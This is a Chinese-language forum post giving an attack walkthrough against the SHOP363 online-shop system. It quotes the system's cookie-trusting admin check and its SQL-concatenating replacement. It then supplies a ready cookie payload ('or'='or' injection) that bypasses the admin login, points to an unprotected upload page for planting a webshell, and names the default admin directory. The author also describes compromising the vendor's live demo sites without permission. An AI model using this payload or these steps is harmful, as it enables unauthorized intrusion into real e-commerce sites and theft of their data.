呵呵,标题写的有点夸张,我看的是官方演示的最新版本3.3.6版本,看过代码我相信早期的版本应该写法是基本相同的,因为没找到早期版本的下载所以没有测试,大家有的可以自行测试早期版本。

    在讨论组看有坛友求SHOP363后台拿WEBSHELL方法,因为以前没用过这个系统不熟悉所以就百度了下找到了官方演示,通过一个老漏洞拿(不是网店程序本身的漏洞)到了官方演示的webHSELL,然后在官方网站目录下还有个演示站,还是那个方法直接拿到官方权限。拿到WEBSHELL后看了下网店的后台代码开始找相关的利用漏洞,看了几个文件果然发现了利用的地方。

昨天发了个智睿的管理系统的COOKIES欺骗漏洞,今天看SHOP363的Fun.asp文件发现管理验证方法基本试相同的,呵呵,真实巧啊
后台目录Admin_Shop363下面的FUN.ASP里面的Sub checklogin() 代码
Sub checklogin()           '检测是否登陆后台
        dim AdminName,AdminPassword,AdminFlags

                Session(CacheName &"AdminName") = Request.Cookies(SitWebCookies)("AdminName")       
                                Session(CacheName &"AdminPassword") = Request.Cookies

(SitWebCookies)("AdminPassword")
                                session(CacheName &"AdminFlags")=Request.Cookies(SitWebCookies)

("AdminFlags")
                                session(CacheName &"Truename")=Request.Cookies(SitWebCookies)

("Truename")
                                Session(CacheName &"AdminoldFlags") = Request.Cookies

(SitWebCookies)("AdminoldFlags")
                                Session(CacheName &"TFlags") = Request.Cookies(SitWebCookies)

("TFlags")


        AdminName=Session(CacheName &"AdminName")
        AdminPassword=Session(CacheName &"AdminPassword")
        AdminFlags=Session(CacheName &"AdminFlags")

        IF AdminName="" Or AdminPassword="" Or AdminFlags="" Then
        'IF AdminName=""  Then
                response.redirect("index.asp")               
                response.End()       
        End If
End Sub 下面这个是在另一个演示站看到的改进代码
Sub checklogin()           '检测是否登陆后台
        dim AdminName,AdminPassword,AdminFlags

                Session(CacheName &"AdminName") = Request.Cookies(SitWebCookies)("AdminName")       
                                Session(CacheName &"AdminPassword") = Request.Cookies

(SitWebCookies)("AdminPassword")
                                session(CacheName &"AdminFlags")=Request.Cookies(SitWebCookies)

("AdminFlags")
                                session(CacheName &"Truename")=Request.Cookies(SitWebCookies)

("Truename")
                                Session(CacheName &"AdminoldFlags") = Request.Cookies

(SitWebCookies)("AdminoldFlags")
                                Session(CacheName &"TFlags") = Request.Cookies(SitWebCookies)

("TFlags")


        AdminName=Session(CacheName &"AdminName")
        AdminPassword=Session(CacheName &"AdminPassword")
        AdminFlags=Session(CacheName &"AdminFlags")

        Strsqlck="select * from Shop363_Admin where name='"& AdminName &"' and

Password='"&AdminPassword&"'"
                set rsck=server.CreateObject("Adodb.Recordset")
                rsck.open Strsqlck,conn,1,1
                If rsck.eof Then
                response.redirect("index.asp")       
                response.End()
                End If
                rsck.close
                Set rsck=nothing
       

        'IF AdminName="" Or AdminPassword="" Or AdminFlags="" Then
        'IF AdminName=""  Then
        '        response.redirect("index.asp")               
        '        response.End()       
        'End If
End Sub

基本没改进什么,一样还是COOKIES欺骗,下面的是COOKIES利用代码:
Sy%5FShops=TFlags=1%2C2%2C3%2C4%2C5%2C11%2C12%_2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C21%2C22%2C31%2C32%2C33%2C34%2C35%2C36%2C37%2C41%2C42%2C43%_2C44%2C51%2C52%2C53%2C54%2C55%2C56%2C61%2C62%2C63%2C64&AdminoldFlags=1&Truename=%CE%_DE&AdminFlags=1&AdminPassword='or'='or'&AdminName='or'='or';
这样可以进后台了,管理目录下有两个上传文件admin_upload.asp和admin_nupload.asp可以传递目录值但是我NC提交不成功还希望大牛们指教。
管理目录除了这两个没找到利用的地方就翻其他目录,运气好在网站根目录下的csv目录里发现了上传文件upfile1.asp代码如下:

<!--#include file="../admin_shop363/conn.asp"--> <!--#include file="chkuser.asp"--><html>
<head>
<title>化境上传</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css">
<!--

body,td,th {
        font-size: 12px;
}
body {
        margin-left: 0px;
        margin-top: 0px;
        margin-right: 0px;
        margin-bottom: 0px;
}
-->
</style>
</head>

<body bgcolor="#FFFFFF" text="#000000">
<form name="form1" method="post" action="upfile.asp" enctype="multipart/form-data" >
  <input type="hidden" name="act" value="upload">
  <input type="hidden" name="upcount" value="1">  
  <input type="hidden" name="filepath" value="csv/">
  <input type="file" name="file1" value="">    
  <input type="submit" name="Submit" value="上传" class="bt">       
</form>
</body>
</html>
这回相信大家都是非常熟悉了,抓包上传吧。
网站默认后台目录:Admin_Shop363